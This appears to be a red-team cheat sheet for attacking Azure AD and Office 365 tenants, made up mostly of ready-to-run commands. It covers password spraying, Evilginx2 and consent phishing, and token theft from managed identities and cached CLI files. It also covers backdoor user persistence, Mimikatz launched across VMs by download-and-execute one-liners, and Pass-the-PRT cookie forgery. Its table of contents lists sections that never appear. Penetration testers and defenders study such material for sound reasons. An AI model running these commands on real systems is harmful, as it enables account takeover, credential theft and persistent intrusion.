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Swissky 3066615cde LAPS Access + Pass the Cert + Writeable folder

2022-05-31 11:57:44 +02:00

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Azure Active Directory

Summary

Azure Recon Tools
Terminology
Enumeration
- Enumerate valid emails
- Enumerate Azure Subdomains
- Enumerate tenant with Azure AD Powershell
- Enumerate tenant with Az Powershell
- Enumerate tenant with az cli
- Enumerate manually
- Enumeration methodology
Phishing with Evilginx2
Illicit Consent Grant
- Register Application
- Configure Application
- Setup 365-Stealer (Deprecated)
- Setup Vajra
Device Code Phish
Token from Managed Identity
- Azure API via Powershell
- Azure API via Python Version
- Get Tokens
- Use Tokens
- Refresh Tokens
Stealing Tokens
- Stealing tokens from az cli
- Stealing tokens from az powershell
Add Credentials to All Enterprise Applications
Spawn SSH for Azure Web App
Azure Storage Blob
- Enumerate blobs
- SAS URL
- List and download blobs
Runbook Automation
- Create a Runbook
- Persistence via Automation accounts
Virtual Machine RunCommand
KeyVault Secrets
Pass The Certificate
Pass The PRT
Intunes Administration
Dynamic Group Membership
Administrative Unit
Deployment Template
Application Proxy
Conditional Access
Azure AD
- Azure AD vs Active Directory
- Password Spray
- Convert GUID to SID
Azure AD Connect
- Azure AD Connect - Password extraction
- Azure AD Connect - MSOL Account's password and DCSync
- Azure AD Connect - Seamless Single Sign On Silver Ticket
References

Azure Recon Tools

ROADTool

pipenv shell
roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout]
roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
roadrecon auth -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
roadrecon gather
roadrecon gui

StormSpotter

# https://github.com/Azure/Stormspotter

# session 1 - backend
pipenv shell
python ssbackend.pyz

# session 2 - frontend
cd C:\Tools\stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history

# session 3 - collector
pipenv shell
az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
python C:\Tools\stormspotter\stormcollector\sscollector.pyz cli

# Web access on http://localhost:9091
Username: neo4j
Password: BloodHound
Server: bolt://localhost:7687

Azure Hound

# https://github.com/BloodHoundAD/AzureHound

. C:\Tools\AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose

# GUI access
bolt://localhost:7687
Username: neo4j
Password: BloodHound

# Cypher query example:
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p

# Change object ID's to names in Bloodhound
MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <> "" AND n.name IS NULL SET n.name = n.azname

# Custom Queries : https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/

List of Microsoft portals: https://msportals.io/

Azucar : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.

# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File

PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000

# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com

Azurite Explorer and Azurite Visualizer : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.

git clone https://github.com/mwrlabs/Azurite.git
git clone https://github.com/FSecureLABS/Azurite
git submodule init
git submodule update
PS> Import-Module AzureRM
PS> Import-Module AzuriteExplorer.ps1
PS> Review-AzureRmSubscription
PS> Review-CustomAzureRmSubscription

MicroBurst - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping

$ git clone https://github.com/NetSPI/MicroBurst
PS C:> Import-Module .\MicroBurst.psm1
PS C:> Import-Module .\Get-AzureDomainInfo.ps1
PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose

SkyArk - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.
Require:

Read-Only permissions over Azure Directory (Tenant)
Read-Only permissions over Subscription
Require AZ and AzureAD module or administrator right

$ git clone https://github.com/cyberark/SkyArk
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AzureStealth

or in the Cloud Console

PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')  
PS C> Scan-AzureAdmins

PowerZure -

require az module !
$ git clone https://github.com/hausec/PowerZure
$ ipmo .\PowerZure
$ Set-Subscription -Id [idgoeshere]

# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails

# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test  -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk

# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest

# Administrator
$ Create-Backdoor, Execute-Backdoor

Terminology

Basic Azure AD terminologies

Tenant: An instance of Azure AD and represents a single organization.
Azure AD Directory: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.
Subscriptions: It is used to pay for services. There can be multiple subscriptions in a Directory.
Core Domain: The initial domain name .onmicrosoft.com is the core domain. It is possible to define custom domain names too.

Enumeration

Enumerate valid emails

By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.

Validate email

PS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\validemails.txt
admin@<TENANT NAME>.onmicrosoft.com   - VALID
root@<TENANT NAME>.onmicrosoft.com    - INVALID
test@<TENANT NAME>.onmicrosoft.com    - VALID
contact@<TENANT NAME>.onmicrosoft.com - INVALID

Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon

Password spraying

PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1
PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password <PASSWORD> -Verbose

Enumerate Azure Subdomains

PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1
PS> Invoke-EnumerateAzureSubDomains -Base <TENANT NAME> -Verbose
Subdomain Service
--------- -------
<TENANT NAME>.mail.protection.outlook.com Email
<TENANT NAME>.onmicrosoft.com Microsoft Hosted Domain

Enumerate tenant with Azure AD Powershell

Import-Module C:\Tools\AzureAD\AzureAD.psd1
Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1
PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME>.onmicrosoft.com", $passwd)
PS Az> Connect-AzureAD -Credential $creds

PS AzureAD> Get-AzureADUser -All $true
PS AzureAD> Get-AzureADUser -All $true | select UserPrincipalName
PS AzureAD> Get-AzureADGroup -All $true
PS AzureAD> Get-AzureADDevice
PS AzureAD> Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
PS AzureADPreview> Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName

Enumerate tenant with Az Powershell

PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential ("test@<TENANT NAME>.onmicrosoft.com", $passwd)
PS Az> Connect-AzAccount -Credential $creds

PS Az> Get-AzResource
PS Az> Get-AzRoleAssignment -SignInName test@<TENANT NAME>.onmicrosoft.com
PS Az> Get-AzVM | fl
PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
PS Az> Get-AzFunctionApp
PS Az> Get-AzStorageAccount | fl
PS Az> Get-AzKeyVault

Enumerate tenant with az cli

PS> az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
PS> az vm list
PS> az vm list --query "[].[name]" -o table
PS> az webapp list
PS> az functionapp list --query "[].[name]" -o table
PS> az storage account list
PS> az keyvault list

Enumerate manually

Federation with Azure AD or O365

https://login.microsoftonline.com/getuserrealm.srf?login=<USER>@<DOMAIN>&xml=1
https://login.microsoftonline.com/getuserrealm.srf?login=root@<TENANT NAME>.onmicrosoft.com&xml=1

Get the Tenant ID

https://login.microsoftonline.com/<DOMAIN>/.well-known/openid-configuration
https://login.microsoftonline.com/<TENANT NAME>.onmicrosoft.com/.well-known/openid-configuration

Enumeration methodology

# Check Azure Joined 
PS> dsregcmd.exe /status
+----------------------------------------------------------------------+
| Device State |
+----------------------------------------------------------------------+
 AzureAdJoined : YES
 EnterpriseJoined : NO
 DomainJoined : NO
 Device Name : jumpvm

# Enumerate resources
PS Az> Get-AzResource

# Enumerate role assignments
PS Az> Get-AzRoleAssignment -Scope /subscriptions/<SUBSCRIPTION-ID>/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/<VM-NAME>`

# Get info on a role
PS Az> Get-AzRoleDefinition -Name "Virtual Machine Command Executor"

# Get info user
PS AzureAD> Get-AzureADUser -ObjectId <ID>
PS AzureAD> Get-AzureADUser -ObjectId test@<TENANT NAME>.onmicrosoft.com | fl * 

# List all groups
PS AzureAD> Get-AzureADGroup -All $true

# Get members of a group
PS Az> Get-AzADGroup -DisplayName '<GROUP-NAME>'
PS Az> Get-AzADGroupMember -GroupDisplayName '<GROUP-NAME>' | select UserPrincipalName

# Get Azure AD information
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> Get-AADIntLoginInformation -UserName admin@<TENANT NAME>.onmicrosoft.com
PS AADInternals> Get-AADIntTenantID -Domain <TENANT NAME>.onmicrosoft.com # Get Tenant ID
PS AADInternals> Invoke-AADIntReconAsOutsider -DomainName <DOMAIN> # Get all the information

# Check if there is a user logged-in to az cli
PS> az ad signed-in-user show

# Check AppID Alternative Names/Display Name 
PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq "<APP-ID>"} | fl


# Get all application objects registered using the current tenant
PS AzureAD> Get-AzureADApplication -All $true

# Get all details about an application
PS AzureAD> Get-AzureADApplication -ObjectId <ID> | fl *

# List all VM's the user has access to
PS Az> Get-AzVM 
PS Az> Get-AzVM | fl

# Get all function apps
PS Az> Get-AzFunctionApp

# Get all webapps
PS Az> Get-AzWebApp
PS Az> Get-AzWebApp | select-object Name, Type, Hostnames

# List all storage accounts
PS Az> Get-AzStorageAccount
PS Az> Get-AzStorageAccount | fl

# List all keyvaults
PS Az> Get-AzKeyVault

Phishing with Evilginx2

PS C:\Tools> evilginx2 -p C:\Tools\evilginx2\phishlets
: config domain username.corp
: config ip 10.10.10.10
: phishlets hostname o365 login.username.corp
: phishlets get-hosts o365

Create a DNS entry for login.login.username.corp and www.login.username.corp, type A, pointing to your machine

# copy certificate and enable the phishing
PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\ca.crt C:\Users\Username\.evilginx\crt\login.username.corp\o365.crt
PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\private.key C:\Users\Username\.evilginx\crt\login.username.corp\o365.key
: phishlets enable o365

# get the phishing URL
: lures create o365
: lures get-url 0

The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to.

Check if users are allowed to consent to apps: PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

Disable user consent : Users cannot grant permissions to applications.
Users can consent to apps from verified publishers or your organization, but only for permissions you select : All users can only consent to apps that were published by a verified publisher and apps that are registered in your tenant
Users can consent to all apps : allows all users to consent to any permission which doesn't require admin consent,
Custom app consent policy

Register Application

Login to https://portal.azure.com > Azure Active Directory
Click on App registrations > New registration
Enter the Name for our application
Under support account types select "Accounts in any organizational directory (Any Azure AD directory - Multitenant)"
Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application that we will host for hosting our phishing page. Make sure the endpoint is https://<DOMAIN/IP>:<PORT>/login/authorized.
Click Register and save the Application ID

Configure Application

Click on Certificates & secrets
Click on New client secret then enter the Description and click on Add.
Save the secret's value.
Click on API permissions > Add a permission
Click on Microsoft Graph > Delegated permissions
Search and select the below mentioned permissions and click on Add permission
- Contacts.Read
- Mail.Read / Mail.ReadWrite
- Mail.Send
- Notes.Read.All
- Mailboxsettings.ReadWrite
- Files.ReadWrite.All
- User.ReadBasic.All
- User.Read

Setup 365-Stealer (Deprecated)

⚠️ Default port for 365-Stealer phishing is 443

Run XAMPP and start Apache
Clone 365-Stealer into C:\xampp\htdocs\
- git clone https://github.com/AlteredSecurity/365-Stealer.git
Install the requirements
- Python3
- PHP CLI or Xampp server
- pip install -r requirements.txt
Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache
Edit C:/xampp/htdocs/yourvictims/index.php if needed
- Disable IP whitelisting $enableIpWhiteList = false;
Go to 365-Stealer Management portal > Configuration (http://localhost:82/365-stealer/yourVictims)
- Client Id (Mandatory): This will be the Application(Client) Id of the application that we registered.
- Client Secret (Mandatory): Secret value from the Certificates & secrets tab that we created.
- Redirect URL (Mandatory): Specify the redirect URL that we entered during registering the App like https://<Domain/IP>/login/authorized
- Macros Location: Path of macro file that we want to inject.
- Extension in OneDrive: We can provide file extensions that we want to download from the victims account or provide * to download all the files present in the victims OneDrive. The file extensions should be comma separated like txt, pdf, docx etc.
- Delay: Delay the request by specifying time in seconds while stealing
Create a Self Signed Certificate to use HTTPS
Run the application either click on the button or run this command : python 365-Stealer.py --run-app
- --no-ssl: disable HTTPS
- --port: change the default listening port
- --token: provide a specific token
- --refresh-token XXX --client-id YYY --client-secret ZZZ: use a refresh token
Find the Phishing URL: go to https://<IP/Domain>:<Port> and click on Read More button or in the console.

Setup Vajra

Vajra is a UI-based tool with multiple techniques for attacking and enumerating in the target's Azure environment. It features an intuitive web-based user interface built with the Python Flask module for a better user experience. The primary focus of this tool is to have different attacking techniques all at one place with web UI interfaces. - https://github.com/TROUBLE-1/Vajra

Mitigation: Enable Do not allow user consent for applications in the "Consent and permissions menu".

Device Code Phish

Requirements:

Azure AD / Office 365 E3 Subscription

Exploitation:

Import TokenTactics: PS C:\TokenTactics> Import-Module .\TokenTactics.psd1
Request a device code for the Azure Graph API using TokenTactics: Get-AzureToken -Client Graph
Replace <REPLACE-WITH-DEVCODE-FROM-TOKENTACTICS> in the phishing email
Leave TokenTactics running in the PowerShell window and send the phishing email
Targeted user will follow the link to https://microsoft.com/devicelogin and complete the Device Code form
Enjoy your Access Token & Refresh Token

Token from Managed Identity

MSI_ENDPOINT is an alias for IDENTITY_ENDPOINT, and MSI_SECRET is an alias for IDENTITY_HEADER.

Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment : env

Most of the time, you want a token for one of these resources:

Azure API via Powershell

Get access_token from IDENTITY_HEADER and IDENTITY_ENDPOINT: system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');.

Then query the Azure REST API to get the subscription ID and more .

$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
 'Authorization' = "Bearer $Token"
 }
}
(Invoke-RestMethod @RequestParams).value 

# List resources and check for runCommand privileges
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'

Azure API via Python Version

IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']

print("[+] Management API")
cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])

print("\r\n[+] Graph API")
cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print(json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])

or inside a Python Function:

import logging, os
import azure.functions as func

def main(req: func.HttpRequest) -> func.HttpResponse:
    logging.info('Python HTTP trigger function processed a request.')
    IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
    IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
    cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
    val = os.popen(cmd).read()
    return func.HttpResponse(val, status_code=200)

Get Tokens

⚠️ The lifetime of a Primary Refresh Token is 14 days!

# az cli - get tokens 
az account get-access-token 
az account get-access-token --resource-type aad-graph
# or Az
(Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
# or from a managed identity using IDENTITY_HEADER and IDENTITY_ENDPOINT

Use Tokens

Tokens contain all the claims including that for MFA and Conditional Access

Az Powershell

PS C:\Tools> $token = 'eyJ0e..'
PS C:\Tools> Connect-AzAccount -AccessToken $token -AccountId <ACCOUNT-ID>

# Access Token and Graph Token
PS C:\Tools> $token = 'eyJ0eX..'
PS C:\Tools> $graphaccesstoken = 'eyJ0eX..'
PS C:\Tools> Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID>
PS C:\Tools> Get-AzResource
# ERROR: 'this.Client.SubscriptionId' cannot be null.
# ---> The managed identity has no rights on any of the Azure resources. Switch to to GraphAPI

AzureAD

Import-Module C:\Tools\AzureAD\AzureAD.psd1
$AADToken = 'eyJ0…'
Connect-AzureAD -AadAccessToken $AADToken -TenantId <TENANT-ID> -AccountId <ACCOUNT-ID>

Refresh Tokens

https://github.com/ConstantinT/Lantern

Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe mdm --joindevice --accesstoken (or some combination from the token part) --devicename <Name> --outpfxfile <Some path>
Lantern.exe token --username <Username> --password <Password>
Lantern.exe token --refreshtoken <RefreshToken>
Lantern.exe devicekeys --pfxpath XXXX.pfx --refreshtoken (--prtcookie / ---username + --password )

https://github.com/rvrsh3ll/TokenTactics

Import-Module .\TokenTactics.psd1
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Clear-Token                                        0.0.1      TokenTactics
Function        Dump-OWAMailboxViaMSGraphApi                       0.0.1      TokenTactics
Function        Forge-UserAgent                                    0.0.1      TokenTactics
Function        Get-AzureToken                                     0.0.1      TokenTactics
Function        Get-TenantID                                       0.0.1      TokenTactics
Function        Open-OWAMailboxInBrowser                           0.0.1      TokenTactics
Function        Parse-JWTtoken                                     0.0.1      TokenTactics
Function        RefreshTo-AzureCoreManagementToken                 0.0.1      TokenTactics
Function        RefreshTo-AzureManagementToken                     0.0.1      TokenTactics
Function        RefreshTo-DODMSGraphToken                          0.0.1      TokenTactics
Function        RefreshTo-GraphToken                               0.0.1      TokenTactics
Function        RefreshTo-MAMToken                                 0.0.1      TokenTactics
Function        RefreshTo-MSGraphToken                             0.0.1      TokenTactics
Function        RefreshTo-MSManageToken                            0.0.1      TokenTactics
Function        RefreshTo-MSTeamsToken                             0.0.1      TokenTactics
Function        RefreshTo-O365SuiteUXToken                         0.0.1      TokenTactics
Function        RefreshTo-OfficeAppsToken                          0.0.1      TokenTactics
Function        RefreshTo-OfficeManagementToken                    0.0.1      TokenTactics
Function        RefreshTo-OutlookToken                             0.0.1      TokenTactics
Function        RefreshTo-SubstrateToken                           0.0.1      TokenTactics

Stealing Tokens

Get-AzurePasswords

Import-Module Microburst.psm1
Get-AzurePasswords
Get-AzurePasswords -Verbose | Out-GridView

Stealing tokens from az cli

az cli stores access tokens in clear text in accessTokens.json in the directory C:\Users\<username>\.Azure
azureProfile.json in the same directory contains information about subscriptions.

Stealing tokens from az powershell

Az PowerShell stores access tokens in clear text in TokenCache.dat in the directory C:\Users\<username>\.Azure
It also stores ServicePrincipalSecret in clear-text in AzureRmContext.json
Users can save tokens using Save-AzContext

Add credentials to all Enterprise Applications

# Add secrets
PS > . C:\Tools\Add-AzADAppSecret.ps1
PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose

# Use secrets to authenticate as Service Principal
PS > $password = ConvertTo-SecureString '<SECRET/PASSWORD>' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential('<AppID>', $password)
PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'

Spawn SSH for Azure Web App

az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SERVICE-NAME>

Azure Storage Blob

Blobs - *.blob.core.windows.net
File Services - *.file.core.windows.net
Data Tables - *.table.core.windows.net
Queues - *.queue.core.windows.net

Enumerate blobs

PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
Found Storage Account -  testsecure.blob.core.windows.net
Found Storage Account -  securetest.blob.core.windows.net
Found Storage Account -  securedata.blob.core.windows.net
Found Storage Account -  securefiles.blob.core.windows.net

SAS URL

Use Storage Explorer
Click on Open Connect Dialog in the left menu.
Select Blob container.
On the Select Authentication Method page
- Select Shared access signature (SAS) and click on Next
- Copy the URL in Blob container SAS URL field.

⚠️ You can also use subscription(username/password) to access storage resources such as blobs and files.

List and download blobs

PS Az> Get-AzResource
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob

Runbook Automation

Create a Runbook

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
az ad signed-in-user list-owned-objects

# If the user is not part of an "Automation" group.
# Add him to a custom group , e.g: "Automation Admins"
Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

# Create a Powershell Runbook
PS C:\Tools> Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Persistence via Automation accounts

Create a new Automation Account
- "Create Azure Run As account": Yes
Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
- Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst
- Publish the runbook
- Add a webhook to the runbook
Add the AzureAD module to the Automation account
- Update the Azure Automation Modules
Assign "User Administrator" and "Subscription Owner" rights to the automation account
Eventually lose your access…

Trigger the webhook with a post request to create the new user

$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
$AccountInfo  = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Virtual Machine RunCommand

Requirements:

Microsoft.Compute/virtualMachines/runCommand/action

# Get Public IP of VM : query the network interface
PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfile
PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>

# Execute Powershell script on the VM
PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose

# Connect via WinRM
PS C:\Tools> $password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\Tools> $creds = New-Object System.Management.Automation.PSCredential('username', $Password)
PS C:\Tools> $sess = New-PSSession -ComputerName <IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
PS C:\Tools> Enter-PSSession $sess

Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System

# List available VMs
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
ResourceGroupName    Name       
-----------------    ----       
TESTRESOURCES        Remote-Test

# Execute Powershell script on the VM
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1

Against the whole subscription using MicroBurst.ps1

Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

KeyVault Secrets

# keyvault access token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER

# connect
PS> $token = 'eyJ0..'
PS> $keyvaulttoken = 'eyJ0..'
PS Az> Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa2ff6aa9abc -KeyVaultAccessToken $keyvaulttoken

# query the vault and the secrets
PS Az> Get-AzKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText

Pass The PRT

MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).

# Run mimikatz to obtain the PRT
PS> iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

# Copy the PRT and KeyValue
Mimikatz> privilege::debug
Mimikatz> token::elevate
Mimikatz> dpapi::cloudapkd /keyvalue:<KeyValue> /unprotect

# Copy the Context, ClearKey and DerivedKey
Mimikatz> dpapi::cloudapkd /context:<Context> /derivedkey:<DerivedKey> /Prt:<PRT>

# Generate a JWT
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
eyJ0eXAiOiJKV1QiL...

The <Signed JWT> (JSON Web Token) can be used as PRT cookie in a (anonymous) browser session for https://login.microsoftonline.com/login.srf.
Edit the Chrome cookie (F12) -> Application -> Cookies with the values:

Name: x-ms-RefreshTokenCredential
Value: <Signed JWT>
HttpOnly: √

⚠️ Mark the cookie with the flags HTTPOnly and Secure.

Pass The Certificate

Copy-Item -ToSession $jumpvm -Path C:\Tools\PrtToCertmaster.zip -Destination C:\Users\Username\Documents\username –Verbose
Expand-Archive -Path C:\Users\Username\Documents\username\PrtToCert-master.zip -DestinationPath C:\Users\Username\Documents\username\PrtToCert

# Require the PRT, TenantID, Context and DerivedKey
& 'C:\Program Files\Python39\python.exe' C:\Users\Username\Documents\username\PrtToCert\RequestCert.py --tenantId <TENANT-ID> --prt <PRT> --userName <Username>@<TENANT NAME>.onmicrosoft.com --hexCtx <HEX-CONTEXT> --hexDerivedKey <HEX-DERIVED-KEY>
# PFX saved with the name <Username>@<TENANT NAME>.onmicrosoft.com.pfx and password AzureADCert

Python tool that will authenticate to the remote machine, run PSEXEC and open a CMD on the victim machine

https://github.com/morRubin/AzureADJoinedMachinePTC

